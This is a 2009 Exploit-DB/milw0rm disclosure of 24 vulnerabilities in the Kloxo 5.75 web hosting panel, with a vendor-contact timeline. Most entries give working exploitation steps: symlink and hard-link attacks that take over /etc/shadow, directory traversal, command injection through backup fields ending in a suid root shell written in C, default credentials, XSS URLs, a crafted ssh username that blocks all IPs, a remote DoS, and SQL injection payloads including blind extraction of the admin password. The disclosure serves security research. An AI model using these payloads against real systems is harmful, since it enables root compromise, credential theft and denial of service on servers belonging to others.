kloxo 5.75 - Multiple Vulnerabilities

EDB-ID:

8880

CVE:


Author:

anonymous

Type:

remote

Platform:

Linux

Published:

2009-06-04

#####################################################################
#
#  Who  : http://lxlabs.com
#
#  What : kloxo
# 
#  "Kloxo (Previously Lxadmin) The most flexible software on this
#  planet. From Kloxo HostInaBox, World's lightest and the most
#  efficient webhosting platform, to Kloxo Enterprise, which can
#  manage 100s of thousands of domains on hundreds of servers. Kloxo
#  is a fully scriptable, distributed, 100% object oriented hosting
#  platform. There is nothing in the hosting industry that's even
#  comparable to Kloxo in its sheer flexibility."
#
#  =============================================
#  A few dozen lxadmin / kloxo bugs
#  Tested on centos-5-i386-hostinabox575.tar.gz
#  =============================================
#
#  Timeline :
#
#  05/21/2009 - sent initial email to vendor with a link to a private
#               resource for viewing various kloxo hiab575
#               vulnerability info
#
#  05/23/2009 - received the following: "Thanks for the info. I will
#               review this and let you know." (no signature)
#
#  05/30/2009 - sent an email asking if there were any updates
#
#  06/01/2009 - received the following: "Sorry for the delay. I am
#               currently looking into this, and will reply in a couple
#               of hours time." (no signature)
#
#  06/04/2009 - nothing heard from vendor, and the private resource
#               containing the vulnerability info still does not
#               appear to have been accessed
#
#  2 weeks have passed since the initial notification. Vendor appears
#  uninterested.
#
#  Don't drink the Kool-Aid. None of these things are entirely true:
#  http://lxlabs.com/software/kloxo/security/
#
#  Some are just blatantly false. If you want proof, just keep
#  reading, but try not to fall asleep. These are mostly incredibly
#  trivial and boring issues.
#  
#####################################################################


#####################################################################
#  ISSUE #1 - uid/gid reuse
#####################################################################

Kloxo / Lxadmin allows unprivileged users to create and remove user
accounts. This is a common feature of the more popular webhosting
control, whereby the users with this privilege are referred to as
"resellers".

1. A reseller creates an account called "user1", which is automatically
assigned the next available uid and gid on the system (1012.1012 for
this example).

2. The reseller then logs into the user1 account, such as via FTP.

3. As user1, they upload a file, let's say to /home/user1/testfile

4. As user1, they copy or move testfile to /tmp

5. Now, as the reseller, they remove the user1 account. When the user1
account was removed, all of /home/user1 was destroyed. However, the
testfile file will still exist in /tmp, and will have the uid and gid
which user1 previously held (let's say 1012.1012).

6. The reseller then creates a new account, let's call it "user2".

7. "user2" now owns /tmp/testfile, because the uid and gid 1012.1012
were the next available ids.

The problem with this design is that the testfile could have been a
suid/sgid helper shell, with calls to setregid(1012,1012) and
setreuid(1012,1012), and the reseller could have waited for the next
account to be created. Once the new account was created (perhaps by
another reseller, or by root as a staff account, etc), the reseller
could execute the helper shell and have full access to the new user's
account.


#####################################################################
#  ISSUE #2 - unprivileged port use
#####################################################################

By default, Kloxo / Lxadmin uses multiple unprivileged ports: 7776,
7777, 7778, and 7779. In the event that a service responsible for
using those ports (kloxo.httpd and kloxo.exe) stops listening on
them, a local user can bind to the port, preventing kloxo from using
it until it is freed.

Note: not all ports were tested. This was tested simply by 1) stopping
kloxo, 2) listening on port 7777, and 3) attempting to restart kloxo.

kloxo did not attempt to take control of the port. 7777/7778 are the
login ports for kloxo, so a local user could craft an authentic looking
login page and obtain the username and password of the next person
attempting to log in.


#####################################################################
#  ISSUE #3 - default passwords
#####################################################################

"21232f297a" is the default password to the kloxo db, which contains
the base64 encoded admin password, which is more or less a user with
full root privileges.

"pass" is the default roundcube db password.

"admin" is the default password for the root account, and for the
admin account.

Are there more? Are these documented anywhere? Do all lxlabs products
contain default passwords?


#####################################################################
#  ISSUE #4 - useradd string in the process list
#####################################################################

When a new account is created via lxadmin / kloxo, the useradd string
appears in the process list, complete with password hash.


#####################################################################
#  ISSUE #5 - XSS
#####################################################################

Surely there are plenty more:

:7778/display.php?frm_action=XSS
:7778/display.php?frm_action=delete&frm_o_cname=XSS

The software does tie the user's IP address to the session, but this
could be problematic for people behind the same proxy, or those on
networks where non SSL based web traffic could appear to come from
any of a number of hosts at any given time (e.g., AOL. Do they still
do this? Are there others that do the same?).


#####################################################################
#  ISSUE #6 - remotely create partially user controlled file names
#             and directories. Locally append uncontrolled data to
#             any file
#####################################################################

1. Browse to http://x.x.x.x:7778 (or domain:7778)

2. In the username field, enter anything, valid account or not. We'll
use: test

3. In the password field, enter anything. We'll use: test

4. Click the login button

This will cause this directory:
/usr/local/lxlabs/kloxo/log

to now have this file:
Failed Login attempt to test from x.x.x.x

(where x.x.x.x is the IP address that the failed login attempt came
from, of course).

Note that the file is written as root.

Now append a "/" to "test" and attempt to log in again.

This causes the following directory to be created:
/usr/local/lxlabs/kloxo/log/Failed Login attempt to test

which contains this file:
 from x.x.x.x

Directory traversal can also be used, which will ultimately allow a
local user to append data to any file on the box via a symlink attack.


Directory traversal example on the login page:

username: ../../../../../../../../hello
password: test

[root@testing574 /usr/local/lxlabs/kloxo/log]# ls -l / | grep hello
-rw-r--r--  1 root root     24 May 19 16:56 hello from x.x.x.x

Since the user can control the location on the filesystem that the
file will be written to, they can use a symlink attack to append junk
to the end of a file:


1. [user1@testing574 /tmp]$ ln -s /etc/resolv.conf 'test from x.x.x.x'

* Replace "x.x.x.x" with the IP address that you'll be attempting to
log in from.


2. Attempt to log in with the username: ../../../../../../../tmp/test
and any password


3. Now observe that /etc/resolv.conf had data appended to it:

[user1@testing574 tmp]$ cat /etc/resolv.conf
nameserver 4.2.2.1
nameserver 4.2.2.2
20:09 May/20/2009: NULL


#####################################################################
#  ISSUE #7 - local users can take control of any file or directory
#####################################################################

Local users can take control over any file on the host when adding a
domain. This is done via a symlink attack.

Observe the following from the /usr/local/lxlabs/kloxo/log/shell_exec
log when an account is created:

13:46 May/18/2009: 0:  [(__system__:/usr/local/lxlabs/kloxo/httpdocs) 'chmod'  '0755' '/home/clientname/example.com']
13:46 May/18/2009: 0:  [(__system__:/usr/local/lxlabs/kloxo/httpdocs) 'chown'  '-R' 'clientname:clientname' '/home/clientname/example.com']

All the user needs to do is symlink example.com to the resource they
want to take control of, then add the domain. This will give the
resource permissions of 755, uid.gid user.apache:

[user1@testing574 user1]$ ls -l /etc/shadow
-rwxr-xr-x 1 user1 apache 1415 May 19 17:05 /etc/shadow


This also works when adding subdomains.


#####################################################################
#  ISSUE #8 - local users can take control of any file or directory
#####################################################################

Local users can take ownership of any file via a symlink attack when
adding FTP users. Only the user ownership is changed.

1. Log into Kloxo

2. Click "Ftp Users"

3. Click "Add Ftp User"

4. In the "Ftp User Name" box, type: example

5. In the "Password" and "Confirm Password" boxes, type whatever you'd like

6. In the "Virtual Directory" box, type: example

7. Before adding the FTP user, create a symlink for /home/username/example to
/etc/shadow:

[user1@testing574 user1]$ ln -s /etc/shadow example

8. Click "Add"

Observe that the user now owns /etc/shadow:

[user1@testing574 user1]$ ls -l /etc/shadow
-r-------- 1 user1 root 1415 May 19 17:05 /etc/shadow


#####################################################################
#  ISSUE #9 - local users can overwrite any file on the box
#####################################################################

Local users can overwrite arbitrary files via symlink attacks when
using the "InstallApp" feature.

1. Log into Kloxo as a regular user (not a reseller)

2. Click "InstallApp"

3. Click "WordPress"

4. Click "Install This Application"

5. In the box titled "Location", enter: example

6. In the shell, create the following directory:
/home/username/example.com/example

where "username" is the username of the account that you are attempting to
install WordPress on, and

where "example.com" is the DocumentRoot of the domain that you are installing
WordPress on.

7. Now cd into the "example" directory and symlink a file to
__kloxo_directory_list:

[user1@testing574 /home/user1/example.com/example]$ ln -s /etc/resolv.conf __kloxo_directory_list

8. Now go back to Kloxo and click "Install"

Observe that /etc/resolv.conf has been destroyed:

[user1@testing574 /home/user1/example.com/example]$ cat /etc/resolv.conf
b:0;

I've never seen this feature actually install anything.


#####################################################################
#  ISSUE #10 - yet another symlink attack for local users
#####################################################################

Local users can create arbitrary directories anywhere on the
filesystem via directory traversal when adding a new domain. They
can also take control over any directory on the filesystem.

1. Log into Kloxo

2. Click "Domains"

3. In the field labeled "Domain Name", type: example.com

4. In the field labeled "Document Root", enter: ../../../../../../test

Observe that the directory /test has now been created:

[user1@testing574 /home/user1]$ ls -l / | grep test
drwxr-xr-x  4 user1 apache   4096 May 21 12:28 test



Alternately, the user can enter the name of an existing directory to take
control over it, such as: ../../../../../../etc

or even: ../../../../../../../../

which will result in this:

[user1@testing574 /]$ ls -al /
total 288
drwxr-xr-x 25 user1 apache   4096 May 21 12:32 .
drwxr-xr-x 25 user1 apache   4096 May 21 12:32 ..
-rw-r--r--  1 user1 user1       0 May 18 21:44 .autofsck
-rw-r--r--  1 user1 user1       0 May 18 21:44 .autorelabel
-rw-------  1 user1 user1    1024 May 21 01:50 .rnd
lrwxrwxrwx  1 user1 user1      39 May 18 21:44 aquota.group -> /proc/vz/vzaquota/00000020/aquota.group
lrwxrwxrwx  1 user1 user1      38 May 18 21:44 aquota.user -> /proc/vz/vzaquota/00000020/aquota.user
drwxr-xr-x  2 user1 user1    4096 May 14 10:38 bin
drwxr-xr-x  2 user1 user1    4096 Mar 29  2007 boot
drwxr-xr-x  2 user1 user1    4096 May 21 12:32 cgi-bin
drwxr-xr-x  2 user1 user1    4096 May 13 06:40 command
drwxr-xr-x  4 user1 user1  122880 May 18 21:45 dev
drwxr-xr-x 56 user1 user1    4096 May 21 12:30 etc
drwxr-xr-x 14 user1 user1    4096 May 18 23:38 home
drwxr-xr-x 10 user1 user1    4096 May 13 06:38 lib
drwxr-xr-x  2 user1 user1    4096 Mar 29  2007 media
drwxr-xr-x  2 user1 user1    4096 Mar 29  2007 mnt
drwxr-xr-x  2 user1 user1    4096 Mar 29  2007 opt
dr-xr-xr-x 44 user1 user1       0 May 18 21:44 proc
drwxr-xr-x  7 user1 user1    4096 May  8 02:46 program-install
-rw-r--r--  1 user1 user1   68088 May 13 02:24 program-install.zip
drwx------  4 user1 user1    4096 May 21 12:28 root
drwxr-xr-x  2 user1 user1    4096 May 13 06:38 sbin
drwxr-xr-x  3 user1 user1    4096 May 18 21:44 script
drwxr-xr-x  2 user1 user1    4096 Mar 29  2007 selinux
drwxr-xr-x  2 user1 user1    4096 Oct  6  2008 service
drwxr-xr-x  2 user1 user1    4096 Mar 29  2007 srv
drwxr-xr-x  3 user1 user1       0 May 18 21:44 sys
drwxrwxrwt  2 user1 user1    4096 May 21 12:32 tmp
drwxr-xr-x 14 user1 user1    4096 May 13 06:42 usr
drwxr-xr-x 25 user1 user1    4096 May 14 10:39 var


#####################################################################
#  ISSUE #11 - metachar injection, local command execution as root
#####################################################################

Local users can execute any command(s) of their choice as root via
metacharacter injection in the backup initial string.

1. Log into Kloxo

2. Click "Backup Home"

3. In the box titled "Backup File Initial String", enter:
; /bin/touch /tmp/i_am_root ;

4. Click "Backup Now"

Observe:

[user1@testing574 user1]$ ls -l /tmp/i_am_root
-rw-r--r-- 1 root root 0 May 20 21:50 /tmp/i_am_root


#####################################################################
#  ISSUE #12 - web stats world readable password hashes
#####################################################################

Local users can obtain the password hashes from the stats page
protection files.

1. Log into Kloxo

2. Click "Stats Page Protection"

3. In the field titled "Statistics Page Password", enter a password

The hash of that password will be placed into a world readable file here:
/home/httpd/example.com/__dirprotect/__stats

where "example.com" is the domain onto which the stats password was added.


#####################################################################
#  ISSUE #13 - local users can overwrite any file on the box
#####################################################################

Local users can overwrite any file of their choice via a symlink
attack when adding parked and redirected domains.

1. Log into Kloxo

2. Click "Parked / Redirected Domains"

3. Click "Add Parked"

4. In the box titled "Pointer Domain", enter: example.com

5. From the shell, cd to /home/httpd/domainname/
where "domainname" is the directory onto which the Pointer Domain is being
parked.

6. Rename, or remove, perlsuexec.sh

7. Now create a symlink to that file: ln -s /etc/resolv.conf perlsuexec.sh

8. Now go back to Kloxo and click "Add"

Observe that /etc/resolv.conf now contains the data from perlsuexec.sh.
This also works with the phpsuexec.sh and shsuexec.sh files as well.


#####################################################################
#  ISSUE #14 - metachar injection, local command execution as root
#####################################################################

metacharacter injection in the backup feature allows local users to
execute commands as root.

1. Log into Kloxo

2. Click "Backup Home"

3. In the field labeled "Backup From File", type:
../../../../../../../../tmp/;cd ..;chown root.root shell;chmod 4755 shell;

4. In the shell, issue the following commands:

[user1@testing574 ~]$ cd /tmp
[user1@testing574 /tmp]$ cat>shell.c<<EOF
int main(){
  setregid(0,0);
  setreuid(0,0);
  setgroups(0,0);
  system("/bin/bash");
}
EOF
[user1@testing574 /tmp]$ gcc shell.c -o shell
[user1@testing574 /tmp]$ touch ';cd ..;chown root.root shell;chmod 4755 shell;'

5. Back in Kloxo, click "Start Restore Process"

Now the local, unprivileged user has a suid root helper shell:

[user1@testing574 tmp]$ ls -al
total 28
drwxrwxrwt  4 root  root  4096 May 21 08:41 .
drwxr-xr-x 24 root  root  4096 May 19 16:57 ..
-rw-rw-r--  1 user1 user1    0 May 21 08:40 ;cd ..;chown root.root shell;chmod 4755 shell;
drwx------  2 root  root  4096 May 21 08:41 backupPdUzR4
-rwsr-xr-x  1 root  root  5056 May 21 08:41 shell
-rw-rw-r--  1 user1 user1   89 May 21 08:33 shell.c

[user1@testing574 /tmp]$ ./shell
[root@testing574 /tmp]# id
uid=0(root) gid=0(root)


#####################################################################
#  ISSUE #15 - remotely block any - or every - IP addr in hosts.deny
#####################################################################

Remote, unauthenticated users can cause any IP addr(s) to get
blocked by lxguard, via a crafted ssh username:

[user@host ~]$ ssh -l 'password for test from ALL' x.x.x.x

where "x.x.x.x" is the remote host running sshd and Kloxo, and "test"
is simply an example username. When the attacker exceeds the threshold
for failed login attempts, lxguard will add 'ALL : ALL' to
/etc/hosts.deny.


#####################################################################
#  ISSUE #16 - remote CPU and mem usage DoS
#####################################################################

Remote, unauthenticated users can cause kloxo to consume all
available server memory and CPU cycles by simply connecting to, then
disconnecting from port 7776.

1. telnet x.x.x.x 7776

2. disconnect

3. observe that the most recent instance of kloxo will endlessly
consume memory:

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root     25872 98.6 15.7  45164 41348 pts/1    R    14:10   0:05      \_ ../sbin/kloxo.exe master
root     25872  101 29.3  80672 76932 pts/1    R    14:10   0:11      \_ ../sbin/kloxo.exe master
root     25872  100 34.3  93608 89916 pts/1    R    14:10   0:13      \_ ../sbin/kloxo.exe master


#####################################################################
#  ISSUE #17 - local users can truncate and control any file
#####################################################################

Local users can truncate and take over ownership of any file on the
box via a symlink attack when specifying a "Virtual Directory" in
the "Protected Directories" feature.

1. As a local, unprivileged user, rename or remove the following directory:
/home/httpd/example.com/__dirprotect

where "example.com" is the name of the domain for which we will be creating
a protected directory.

2. cd /home/httpd/example.com/__dirprotect/

3. ln -s /etc/resolv.conf test_

4. Log into Kloxo

5. Click the "Protected Directories" link

6. In the "Auth Name" box, type anything

7. In the "Virtual Directory" box, type: test

8. Click "Add"

This is the result, note the ownership and the file size:

-rwxr-xr-x 1 user1 root 0 May 25 07:48 /etc/resolv.conf


#####################################################################
#  ISSUE #18 - just 2 more symlinks to own any file on the box
#####################################################################

1. [user1@testing574 ~]$ while true ; do ln -s /etc/resolv.conf
/home/lxadmin/mail/domains/example.com/postmaster/.bogopref.cf ; done

2. create new account in kloxo for example.com


[user1@testing574 ~]$ ls -l /etc/resolv.conf
-rw-r--r-- 1 user1 user1 185 May 25 16:29 /etc/resolv.conf

[user1@testing574 ~]$ cat /etc/resolv.conf
spam_cutoff  0.7
spam_subject_tag=******SPAM******
wordlist R,user,postmaster_example_com.wordlist.db,1
wordlist R,system,wordlist.db,2
wordlist R,system,kloxo.wordlist.db,3



This also works for:
/home/lxadmin/mail/domains/example.com/postmaster/.maildroprc


[root@testing574 ~]# ls -l /etc/resolv.conf
-rwx------ 1 user1 user1 377 May 26 06:14 /etc/resolv.conf


[root@testing574 ~]# cat /etc/resolv.conf
SHELL=/bin/sh

if ( $SIZE < 96144 )
{
exception  {
xfilter "bogofilter -d /var/bogofilter/ -ep -c /home/lxadmin/mail/domains/example.com/postmaster/.bogopref.cf"
}
}
 if ( /^X-Bogosity: Spam, tests=bogofilter/ )
{
 to /home/lxadmin/mail/domains/example.com/postmaster/Maildir
 }

to /home/lxadmin/mail/domains/example.com/postmaster/Maildir/


#####################################################################
#  ISSUE #19 - file manager, view and edit any file
#####################################################################

Local users can view and edit the contents of any file via the
File Manager.

1. From the shell, create a hard link to the file to view or take
control of:
[user1@host ~]$ ln /etc/shadow

2. Log into Kloxo

3. Click "File Manager"

4. Click "shadow"

The file can also be edited.


#####################################################################
#  ISSUE #20 - file manager PT II
#####################################################################

Local users can create new files, overwrite the contents of, and take
ownership of any file on the box.

1. Log into Kloxo

2. Click "File Manager"

3. Click "Upload" (upload a file called: test)

4. From the shell:
[user1@testing574 ~]$ while true ; do rm -f test ; ln -s /etc/shadow test ; done

5. Click "Upload"


#####################################################################
#  ISSUE #21 - file manager PT III
#####################################################################

Local users can edit any file on the box via symlink attack when creating a new
file in the File Manager.

1. Log into Kloxo

2. Click "File Manager"

3. Click "Newfile"

4. In the box labeled "File Name", type: test

5. From the shell:
[user1@testing574 ~]$ ln /etc/shadow test

6. Click "Update"

The file is now displayed to the user, and can be edited as well.


#####################################################################
#  ISSUE #22 - local user symlink attack
#####################################################################

It's pointless to continue to documenting symlink attacks in this
software. The software appears to use root for nearly everything,
and does not use proper file locking, amongst other things.

This one pertains to the "PHP Config" option, and creating a symlink
for the file it creates: /home/username/domain/.htaccess


#####################################################################
#  ISSUE #23 - local user symlink attack (last one)
#####################################################################

When changing ownership of a domain, a symlink attack can be used
to take control of any file on the box.


#####################################################################
#  ISSUE #24 - sql injection in the "Forgot Password" form
#####################################################################

You can use any username and email address for this - real or
otherwise - and the select statement will still be executed.
Note that the output is not displayed back to the user's client.

http://x.x.x.x:7778/login/index.php?frm_clientname=x' union select now()/*&frm_email=example@example.com&forgot=Send&frm_forgotpwd=2

You can observe the results via strace, however. Note the 
"2009-06-03 18:54:30" in the query result:

7171  read(6, "\3select contactemail from client where nname = 'x' union select now()/*';", 73) = 73

7171  write(6, "\1\0\0\1\1.\0\0\2\3def\0\0\0\fcontactemail\fcontactemail\f\10\0\377\0\0\0\375\0\0\0\0\0\5\0\0\3\376\0\0\2\0\24\0\0\4\0232009-06-03 18:54:30\5\0\0\5\376\0\0\2\0", 97) = 97


The good news is that if you do know a valid username and contactemail
(as stored in the kloxo db), then you can remotely recover the base64
encoded kloxo login password for the admin user via brute force. Once
logged in as "admin", the web based command shell can be used to
execute commands, which are run as - you guessed it - root.

/login/index.php?frm_clientname=$username' and ' ascii(substring((select realpass from client limit 1),$position,1))>$num/*&frm_email=$email&forgot=Send&frm_forgotpwd=2

# milw0rm.com [2009-06-04]